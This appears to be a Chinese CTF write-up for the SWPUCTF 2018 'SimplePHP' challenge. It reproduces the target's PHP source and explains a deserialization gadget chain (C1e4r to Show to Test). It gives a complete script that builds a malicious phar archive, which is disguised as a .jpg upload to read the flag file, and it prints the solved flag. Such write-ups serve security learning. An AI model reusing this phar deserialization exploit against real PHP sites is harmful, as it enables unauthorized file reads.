SWPUCTF 2018]SimplePHP
打开发现可以读取源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139
| <?php class C1e4r { public $test; public $str; public function __construct($name) { $this->str = $name; } public function __destruct() { $this->test = $this->str; echo $this->test; } }
class Show { public $source; public $str; public function __construct($file) { $this->source = $file; echo $this->source; } public function __toString() { $content = $this->str['str']->source; return $content; } public function __set($key,$value) { $this->$key = $value; } public function _show() { if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) { die('hacker!'); } else { highlight_file($this->source); } } public function __wakeup() { if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) { echo "hacker~"; $this->source = "index.php"; } } } class Test { public $file; public $params; public function __construct() { $this->params = array(); } public function __get($key) { return $this->get($key); } public function get($key) { if(isset($this->params[$key])) { $value = $this->params[$key]; } else { $value = "index.php"; } return $this->file_get($value); } public function file_get($value) { $text = base64_encode(file_get_contents($value)); return $text; } } ?>
<?php header("content-type:text/html;charset=utf-8"); include 'function.php'; include 'class.php'; ini_set('open_basedir','/var/www/html/'); $file = $_GET["file"] ? $_GET['file'] : ""; if(empty($file)) { echo "<h2>There is no file to show!<h2/>"; } $show = new Show(); if(file_exists($file)) { $show->source = $file; $show->_show(); } else if (!empty($file)){ die('file doesn\'t exists.'); } ?>
<?php
include "base.php"; header("Content-type: text/html;charset=utf-8"); error_reporting(0); function upload_file_do() { global $_FILES; $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; if(file_exists("upload/" . $filename)) { unlink($filename); } move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); echo '<script type="text/javascript">alert("上传成功!");</script>'; } function upload_file() { global $_FILES; if(upload_file_check()) { upload_file_do(); } } function upload_file_check() { global $_FILES; $allowed_types = array("gif","jpeg","jpg","png"); $temp = explode(".",$_FILES["file"]["name"]); $extension = end($temp); if(empty($extension)) { } else{ if(in_array($extension,$allowed_types)) { return true; } else { echo '<script type="text/javascript">alert("Invalid file!");</script>'; return false; } } } ?>
|
这个注意file.php那里存在一个file_exists函数,可以用它来实现phar伪协议读,然后我们找一下读取flag的地方,在Show类里,可以看到_show函数会过滤flag,但是__wakeup不会,这里已经暗示的挺明显,所以我们要把show的$source设置为f1ag.php,然后再找办法输出出来
Test类里面有个file_get_contents,可以用它进行读写文件,这里是要利用Test类的__get方法,但是要提前定义
$params[$key]=f1ag,php,至于$key是什么,联想上文猜到show的$source是test类,
这里想到这个$str[‘str’]是一个Test类,同时Test类没有source属性,刚好可以触发__get方法,所以我们的入口应该是C1ear的__destruct 然后跳到show的toString 然后再跳到test的__get
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| <?php class C1e4r { public $test; public $str; } class Show { public $source; public $str;
} class Test { public $file; public $params; } $c=new C1e4r(); $s=new Show(); $t=new Test(); $t->params['source']="/var/www/html/f1ag.php"; $s->str['str']=$t; $c->str=$s;
$phar=new phar("flag.phar"); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER();?>"); $phar->setMetadata($c); $phar->addFromString("test.txt","test"); $phar->stopBuffering(); ?>
|
然后把后缀名改成jpg上传,访问/upload得到flag
flag{20fb087a-8091-4330-9eb6-15f325f21163}